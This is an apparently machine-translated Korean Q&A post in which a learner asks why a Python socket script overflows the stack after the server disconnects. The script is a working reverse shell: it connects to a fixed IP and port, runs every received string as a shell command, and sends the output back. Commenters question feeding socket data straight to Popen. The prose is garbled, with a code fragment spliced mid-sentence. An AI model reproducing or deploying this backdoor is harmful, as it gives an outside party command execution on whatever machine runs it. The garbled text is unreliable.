이것은 파이썬을 배우는 동안 작성한 약간의 스크립트이지만, 어떤 이유로 스택 오버 플로우로부터 복구 할 수 없다는 것을 알려줍니다. 이것은 다른 서버가 연결을 끊을 때 발생합니다. try/except
블록의 연결이 어떤 이유로 실패 할 경우 (거부스택 오버플로에서 복구 할 수 없음
def connect():
try:
s.connect((host,port))
except Exception as msg:
print("ERROR HAPPEND 2 ")
connect()
else:
Work()
, 또는 구문 오류는 필터링하지 않는 때문에이 코드가 잘못
#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999
def connect():
try:
s.connect((host,port))
except Exception as msg:
print("ERROR HAPPEND 2 ")
connect()
else:
Work()
def Work():
while True:
data = s.recv(1024)
print("Data : " + data.decode('utf-8'))
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) >0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes , "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
else:
s.shutdown(socket.SHUT_RDWR)
s.close()
thread1 = threading.Thread(target = connect)
thread1.start()
break
connect()
전체 오류를 붙여 넣을 수 있습니까? – user312016
스택 추적을 게시하십시오. –
스택 오버플로는 무엇입니까? 그리고 정말로 소켓에서받은 데이터를 Popen에 직접 연결하고 있습니까? –